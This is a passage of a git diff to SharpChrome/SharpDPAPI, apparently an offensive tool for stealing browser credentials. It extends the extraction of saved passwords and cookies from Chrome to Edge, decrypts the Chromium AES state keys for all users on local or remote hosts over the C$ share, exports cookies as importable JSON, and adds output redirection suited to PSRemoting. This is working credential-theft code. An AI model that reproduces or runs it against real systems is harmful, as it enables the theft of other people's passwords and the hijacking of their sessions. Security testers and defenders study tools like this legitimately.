String.Format("{0}\\AppData\\Local\\Microsoft\\Edge\\User Data\\Default\\Login Data", dir); + aesStateKeyPath = String.Format("{0}\\AppData\\Local\\Microsoft\\Edge\\User Data\\Local State", dir); + } + else + { + Console.WriteLine("[X] ERROR: only 'chrome' and 'edge' are currently supported for browsers."); + return; + } + + if (File.Exists(aesStateKeyPath) && (aesStateKey == null)) { // try to decrypt the new v80+ AES state file key, if it exists - byte[] aesStateKey = GetStateKey(MasterKeys, aesStateKeyPath, unprotect); + aesStateKey = GetStateKey(MasterKeys, aesStateKeyPath, unprotect); + } - ParseChromeLogins(MasterKeys, loginDataPath, displayFormat, showAll, unprotect, aesStateKey); - } - else { - ParseChromeLogins(MasterKeys, loginDataPath, displayFormat, showAll, unprotect, null); - } + ParseChromeLogins(MasterKeys, loginDataPath, displayFormat, showAll, unprotect, aesStateKey); } } } else { - // otherwise just triage the current user's credential folder - Console.WriteLine("[*] Triaging Chrome Logins for current user\r\n"); + var loginDataPath = ""; + var aesStateKeyPath = ""; - string loginDataPath = String.Format("{0}\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data", System.Environment.GetEnvironmentVariable("USERPROFILE")); - var aesStateKeyPath = String.Format("{0}\\AppData\\Local\\Google\\Chrome\\User Data\\Local State", System.Environment.GetEnvironmentVariable("USERPROFILE")); - - if (File.Exists(aesStateKeyPath)) + if (browser.ToLower() == "chrome") { - // try to decrypt the new v80+ AES state file key, if it exists - byte[] aesStateKey = GetStateKey(MasterKeys, aesStateKeyPath, true); // force /unprotect - ParseChromeLogins(MasterKeys, loginDataPath, displayFormat, showAll, true, aesStateKey); + loginDataPath = String.Format("{0}\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data", System.Environment.GetEnvironmentVariable("USERPROFILE")); + aesStateKeyPath = String.Format("{0}\\AppData\\Local\\Google\\Chrome\\User Data\\Local State", System.Environment.GetEnvironmentVariable("USERPROFILE")); + } + else if (browser.ToLower() == "edge") + { + loginDataPath = String.Format("{0}\\AppData\\Local\\Microsoft\\Edge\\User Data\\Default\\Login Data", System.Environment.GetEnvironmentVariable("USERPROFILE")); + aesStateKeyPath = String.Format("{0}\\AppData\\Local\\Microsoft\\Edge\\User Data\\Local State", System.Environment.GetEnvironmentVariable("USERPROFILE")); } else { - ParseChromeLogins(MasterKeys, loginDataPath, displayFormat, showAll, true, null); + Console.WriteLine("[X] ERROR: only 'chrome' and 'edge' are currently supported for browsers."); + return; } + + if (File.Exists(aesStateKeyPath) && (aesStateKey == null)) + { + // try to decrypt the new v80+ AES state file key, if it exists + aesStateKey = GetStateKey(MasterKeys, aesStateKeyPath, true); + } + + ParseChromeLogins(MasterKeys, loginDataPath, displayFormat, showAll, true, aesStateKey); } } - public static void TriageChromeCookies(Dictionary MasterKeys, string computerName = "", string displayFormat = "csv", bool showAll = false, bool unprotect = false, string cookieRegex = "", string urlRegex = "", bool setneverexpire = false) + public static void TriageChromeCookies(Dictionary MasterKeys, string computerName = "", string displayFormat = "csv", bool showAll = false, bool unprotect = false, string cookieRegex = "", string urlRegex = "", bool setneverexpire = false, string stateKey = "", string browser = "chrome") { - // triage all Chrome Cookies we can reach + // triage all Edge/Chrome Cookies we can reach + + byte[] aesStateKey = null; + if(!String.IsNullOrEmpty(stateKey)) { + aesStateKey = SharpDPAPI.Helpers.ConvertHexStringToByteArray(stateKey); + } if (!String.IsNullOrEmpty(computerName)) { @@ -108,7 +142,7 @@ namespace SharpChrome if (SharpDPAPI.Helpers.IsHighIntegrity() || (!String.IsNullOrEmpty(computerName) && SharpDPAPI.Helpers.TestRemote(computerName))) { - Console.WriteLine("[*] Triaging Chrome Cookies for ALL users\r\n"); + Console.WriteLine("\r\n[*] Triaging {0} Cookies for ALL users\r\n", SharpDPAPI.Helpers.Capitalize(browser)); string userFolder = ""; if (!String.IsNullOrEmpty(computerName)) @@ -126,40 +160,151 @@ namespace SharpChrome { if (!(dir.EndsWith("Public") || dir.EndsWith("Default") || dir.EndsWith("Default User") || dir.EndsWith("All Users"))) { - string cookiePath = String.Format("{0}\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cookies", dir); - var aesStateKeyPath = String.Format("{0}\\AppData\\Local\\Google\\Chrome\\User Data\\Local State", dir); + var cookiePath = ""; + var aesStateKeyPath = ""; - if (File.Exists(aesStateKeyPath)) + if (browser.ToLower() == "chrome") { - // try to decrypt the new v80+ AES state file key, if it exists - byte[] aesStateKey = GetStateKey(MasterKeys, aesStateKeyPath, unprotect); - - ParseChromeCookies(MasterKeys, cookiePath, displayFormat, showAll, unprotect, cookieRegex, urlRegex, setneverexpire, aesStateKey); + cookiePath = String.Format("{0}\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cookies", dir); + aesStateKeyPath = String.Format("{0}\\AppData\\Local\\Google\\Chrome\\User Data\\Local State", dir); + } + else if (browser.ToLower() == "edge") + { + cookiePath = String.Format("{0}\\AppData\\Local\\Microsoft\\Edge\\User Data\\Default\\Cookies", dir); + aesStateKeyPath = String.Format("{0}\\AppData\\Local\\Microsoft\\Edge\\User Data\\Local State", dir); } else { - ParseChromeCookies(MasterKeys, cookiePath, displayFormat, showAll, unprotect, cookieRegex, urlRegex, setneverexpire, null); + Console.WriteLine("[X] ERROR: only 'chrome' and 'edge' are currently supported for browsers."); + return; } + + if (File.Exists(aesStateKeyPath) && (aesStateKey == null)) + { + // try to decrypt the new v80+ AES state file key, if it exists + aesStateKey = GetStateKey(MasterKeys, aesStateKeyPath, unprotect); + } + + ParseChromeCookies(MasterKeys, cookiePath, displayFormat, showAll, unprotect, cookieRegex, urlRegex, setneverexpire, aesStateKey); } } } else { // otherwise just triage the current user's credential folder, so use CryptUnprotectData() by default - Console.WriteLine("[*] Triaging Chrome Cookies for current user.\r\n"); - string cookiePath = String.Format("{0}\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cookies", System.Environment.GetEnvironmentVariable("USERPROFILE")); - var aesStateKeyPath = String.Format("{0}\\AppData\\Local\\Google\\Chrome\\User Data\\Local State", System.Environment.GetEnvironmentVariable("USERPROFILE")); + var cookiePath = ""; + var aesStateKeyPath = ""; - if (File.Exists(aesStateKeyPath)) + if (browser.ToLower() == "chrome") { - // try to decrypt the new v80+ AES state file key, if it exists - byte[] aesStateKey = GetStateKey(MasterKeys, aesStateKeyPath, true); // force /unprotect - ParseChromeCookies(MasterKeys, cookiePath, displayFormat, showAll, true, cookieRegex, urlRegex, setneverexpire, aesStateKey); + cookiePath = String.Format("{0}\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cookies", System.Environment.GetEnvironmentVariable("USERPROFILE")); + aesStateKeyPath = String.Format("{0}\\AppData\\Local\\Google\\Chrome\\User Data\\Local State", System.Environment.GetEnvironmentVariable("USERPROFILE")); + } + else if (browser.ToLower() == "edge") + { + cookiePath = String.Format("{0}\\AppData\\Local\\Microsoft\\Edge\\User Data\\Default\\Cookies", System.Environment.GetEnvironmentVariable("USERPROFILE")); + aesStateKeyPath = String.Format("{0}\\AppData\\Local\\Microsoft\\Edge\\User Data\\Local State", System.Environment.GetEnvironmentVariable("USERPROFILE")); } else { - ParseChromeCookies(MasterKeys, cookiePath, displayFormat, showAll, true, cookieRegex, urlRegex, setneverexpire, null); + Console.WriteLine("[X] ERROR: only 'chrome' and 'edge' are currently supported for browsers."); + return; + } + + if (File.Exists(aesStateKeyPath) && (aesStateKey == null)) + { + // try to decrypt the new v80+ AES state file key, if it exists + aesStateKey = GetStateKey(MasterKeys, aesStateKeyPath, true); // force /unprotect + } + + ParseChromeCookies(MasterKeys, cookiePath, displayFormat, showAll, true, cookieRegex, urlRegex, setneverexpire, aesStateKey); + } + } + + public static void TriageStateKeys(Dictionary MasterKeys, string computerName = "", bool unprotect = false, string target = "") + { + // triage all Chromium state keys we can reach + + if (!String.IsNullOrEmpty(computerName)) + { + // if we're triaging a remote computer, check connectivity first + bool canAccess = SharpDPAPI.Helpers.TestRemote(computerName); + if (!canAccess) + { + return; + } + } + + if (!String.IsNullOrEmpty(target)) + { + if (File.Exists(target)) + { + byte[] aesStateKey = GetStateKey(MasterKeys, target, unprotect); + } + else + { + Console.WriteLine("[X] Target '{0}' doesn't exist.", target); + } + } + else + { + if (SharpDPAPI.Helpers.IsHighIntegrity() || (!String.IsNullOrEmpty(computerName) && SharpDPAPI.Helpers.TestRemote(computerName))) + { + Console.WriteLine("[*] Triaging Chromium state keys for ALL users\r\n"); + + string userFolder = ""; + if (!String.IsNullOrEmpty(computerName)) + { + userFolder = String.Format("\\\\{0}\\C$\\Users\\", computerName); + } + else + { + userFolder = String.Format("{0}\\Users\\", Environment.GetEnvironmentVariable("SystemDrive")); + } + + string[] dirs = Directory.GetDirectories(userFolder); + + foreach (string dir in dirs) + { + if (!(dir.EndsWith("Public") || dir.EndsWith("Default") || dir.EndsWith("Default User") || dir.EndsWith("All Users"))) + { + var chromeAESStateKeyPath = String.Format("{0}\\AppData\\Local\\Google\\Chrome\\User Data\\Local State", dir); + var edgeAESStateKeyPath = String.Format("{0}\\AppData\\Local\\Microsoft\\Edge\\User Data\\Local State", dir); + + if (File.Exists(chromeAESStateKeyPath)) + { + // try to decrypt the new v80+ AES state file key, if it exists + byte[] aesStateKey = GetStateKey(MasterKeys, chromeAESStateKeyPath, unprotect); + } + + if (File.Exists(edgeAESStateKeyPath)) + { + // try to decrypt the new v80+ AES state file key, if it exists + byte[] aesStateKey = GetStateKey(MasterKeys, edgeAESStateKeyPath, unprotect); + } + } + } + } + else + { + // otherwise just triage the current user's credential folder, so use CryptUnprotectData() by default + Console.WriteLine("[*] Triaging Chromium state keys for current user.\r\n"); + + var chromeAESStateKeyPath = String.Format("{0}\\AppData\\Local\\Google\\Chrome\\User Data\\Local State", System.Environment.GetEnvironmentVariable("USERPROFILE")); + var edgeAESStateKeyPath = String.Format("{0}\\AppData\\Local\\Microsoft\\Edge\\User Data\\Local State", System.Environment.GetEnvironmentVariable("USERPROFILE")); + + if (File.Exists(chromeAESStateKeyPath)) + { + // try to decrypt the new v80+ AES state file key, if it exists + byte[] aesStateKey = GetStateKey(MasterKeys, chromeAESStateKeyPath, true); // force /unprotect + } + + if (File.Exists(edgeAESStateKeyPath)) + { + // try to decrypt the new v80+ AES state file key, if it exists + byte[] aesStateKey = GetStateKey(MasterKeys, edgeAESStateKeyPath, true); // force /unprotect + } } } } @@ -247,7 +392,7 @@ namespace SharpChrome { if (!someResults) { - Console.WriteLine("\r\n--- Chrome Credential (Path: {0}) ---\r\n", loginDataFilePath); + Console.WriteLine("\r\n--- Credential (Path: {0}) ---\r\n", loginDataFilePath); } someResults = true; Console.WriteLine("URL : {0} ({1})", row.column[0].Value, row.column[1].Value); @@ -261,7 +406,7 @@ namespace SharpChrome { if (!someResults) { - Console.WriteLine("\r\n--- Chrome Credential (Path: {0}) ---\r\n", loginDataFilePath); + Console.WriteLine("\r\n--- Credential (Path: {0}) ---\r\n", loginDataFilePath); Console.WriteLine("file_path,signon_realm,origin_url,date_created,times_used,username,password"); } someResults = true; @@ -375,7 +520,8 @@ namespace SharpChrome // check conditions that will determine whether we're displaying this cookie entry bool displayValue = false; - if (showAll) + + if (showAll || (row.column[4].Value.ToString() == "0") || String.IsNullOrEmpty(row.column[4].Value.ToString())) { displayValue = true; } @@ -406,7 +552,7 @@ namespace SharpChrome { if (!someResults) { - Console.WriteLine("--- Chrome Cookies (Path: {0}) ---\r\n", cookieFilePath); + Console.WriteLine("--- Cookies (Path: {0}) ---\r\n", cookieFilePath); } someResults = true; @@ -419,8 +565,8 @@ namespace SharpChrome { if (!someResults) { - Console.WriteLine("--- Chrome Cookies (Path: {0}) ---\r\n", cookieFilePath); - Console.WriteLine("--- Chrome Cookies (Path: {0}) ---\r\n\r\nEditThisCookie import JSON:\r\n\r\n[\r\n{{\r\n", cookieFilePath); + Console.WriteLine("--- Cookies (Path: {0}) ---\r\n", cookieFilePath); + Console.WriteLine("--- Cookies (Path: {0}) ---\r\n\r\nEditThisCookie import JSON:\r\n\r\n[\r\n{{\r\n", cookieFilePath); } else { @@ -454,7 +600,7 @@ namespace SharpChrome // csv output if (!someResults) { - Console.WriteLine("--- Chrome Cookies (Path: {0}) ---\r\n", cookieFilePath); + Console.WriteLine("--- Cookies (Path: {0}) ---\r\n", cookieFilePath); Console.WriteLine("file_path,host,path,name,value,creation_utc,expires_utc,last_access_utc"); } someResults = true; @@ -471,7 +617,7 @@ namespace SharpChrome } } } - catch { } + catch {} } if (displayFormat.Equals("json") && someResults) diff --git a/SharpDPAPI/Domain/Info.cs b/SharpDPAPI/Domain/Info.cs index bdefdfd..178fbad 100755 --- a/SharpDPAPI/Domain/Info.cs +++ b/SharpDPAPI/Domain/Info.cs @@ -4,7 +4,7 @@ namespace SharpDPAPI.Domain { public static class Info { - public static void Logo() + public static void ShowLogo() { Console.WriteLine("\r\n __ _ _ _ ___ "); Console.WriteLine(" (_ |_ _. ._ ._ | \\ |_) /\\ |_) | "); diff --git a/SharpDPAPI/Domain/Version.cs b/SharpDPAPI/Domain/Version.cs index 0d7d83f..6f0b6f1 100755 --- a/SharpDPAPI/Domain/Version.cs +++ b/SharpDPAPI/Domain/Version.cs @@ -4,6 +4,6 @@ namespace SharpDPAPI { public static class Version { - public static string version = "1.8.0"; + public static string version = "1.9.0"; } } diff --git a/SharpDPAPI/Program.cs b/SharpDPAPI/Program.cs index 0f81aef..7dd402f 100755 --- a/SharpDPAPI/Program.cs +++ b/SharpDPAPI/Program.cs @@ -1,36 +1,52 @@ using SharpDPAPI.Domain; using System; +using System.Collections.Generic; using System.Diagnostics; +using System.IO; namespace SharpDPAPI { class Program { - public static void Main(string[] args) + private static void FileExecute(string commandName, Dictionary parsedArgs) { + // execute w/ stdout/err redirected to a file + + string file = parsedArgs["/consoleoutfile"]; + + TextWriter realStdOut = Console.Out; + TextWriter realStdErr = Console.Error; + + using (StreamWriter writer = new StreamWriter(file, true)) + { + writer.AutoFlush = true; + Console.SetOut(writer); + Console.SetError(writer); + + MainExecute(commandName, parsedArgs); + + Console.Out.Flush(); + Console.Error.Flush(); + } + Console.SetOut(realStdOut); + Console.SetError(realStdErr); + } + + private static void MainExecute(string commandName, Dictionary parsedArgs) + { + // main execution logic Stopwatch sw = new Stopwatch(); sw.Start(); + Info.ShowLogo(); + try { - Info.Logo(); + var commandFound = new CommandCollection().ExecuteCommand(commandName, parsedArgs); - // try to parse the command line arguments, show usage on failure and then bail - var parsed = ArgumentParser.Parse(args); - if (parsed.ParsedOk == false) + // show the usage if no commands were found for the command name + if (commandFound == false) Info.ShowUsage(); - else - { - // Try to execute the command using the arguments passed in - - var commandName = args.Length != 0 ? args[0] : ""; - - var commandFound = new CommandCollection().ExecuteCommand(commandName, parsed.Arguments); - - // show the usage if no commands were found for the command name - if (commandFound == false) - Info.ShowUsage(); - } } catch (Exception e) { @@ -41,5 +57,74 @@ namespace SharpDPAPI sw.Stop(); Console.WriteLine("\n\nSharpDPAPI completed in " + sw.Elapsed); } + + public static string MainString(string command) + { + // helper that executes an input string command and returns results as a string + // useful for PSRemoting execution + + string[] args = command.Split(); + + var parsed = ArgumentParser.Parse(args); + if (parsed.ParsedOk == false) + { + Info.ShowLogo(); + Info.ShowUsage(); + return "Error parsing arguments: ${command}"; + } + + var commandName = args.Length != 0 ? args[0] : ""; + + TextWriter realStdOut = Console.Out; + TextWriter realStdErr = Console.Error; + TextWriter stdOutWriter = new StringWriter(); + TextWriter stdErrWriter = new StringWriter(); + Console.SetOut(stdOutWriter); + Console.SetError(stdErrWriter); + + MainExecute(commandName, parsed.Arguments); + + Console.Out.Flush(); + Console.Error.Flush(); + Console.SetOut(realStdOut); + Console.SetError(realStdErr); + + string output = ""; + output += stdOutWriter.ToString(); + output += stdErrWriter.ToString(); + + return output; + } + + static void Main(string[] args) + { + try + { + var parsed = ArgumentParser.Parse(args); + if (parsed.ParsedOk == false) + { + Info.ShowLogo(); + Info.ShowUsage(); + return; + } + + var commandName = args.Length != 0 ? args[0] : ""; + + if (parsed.Arguments.ContainsKey("/consoleoutfile")) + { + // redirect output to a file specified + FileExecute(commandName, parsed.Arguments); + } + else + { + MainExecute(commandName, parsed.Arguments); + } + } + catch (Exception e) + { + Console.WriteLine("\r\n[!] Unhandled SharpDPAPI exception:\r\n"); + Console.WriteLine(e); + } + } } } diff --git a/SharpDPAPI/lib/Helpers.cs b/SharpDPAPI/lib/Helpers.cs index 210c419..db76206 100755 --- a/SharpDPAPI/lib/Helpers.cs +++ b/SharpDPAPI/lib/Helpers.cs @@ -126,6 +126,23 @@ namespace SharpDPAPI return HexAsBytes; } + + public static string Capitalize(string s) + { + if(s.Length == 1) + { + return char.ToUpper(s[0]) + ""; + } + else if (s.Length > 1) + { + return char.ToUpper(s[0]) + s.Substring(1); + } + else + { + return ""; + } + } + public static bool TestRemote(string computerName) { try diff --git a/SharpDPAPI/lib/Triage.cs b/SharpDPAPI/lib/Triage.cs index 95ad293..c006fd0 100755 --- a/SharpDPAPI/lib/Triage.cs +++ b/SharpDPAPI/lib/Triage.cs @@ -91,7 +91,6 @@ namespace SharpDPAPI if (!String.IsNullOrEmpty(password)) { plaintextMasterKey = Dpapi.DecryptMasterKeyWithSha(masterKeyBytes, hmacBytes); - mappings.Add(plaintextMasterKey.Key, plaintextMasterKey.Value); } else {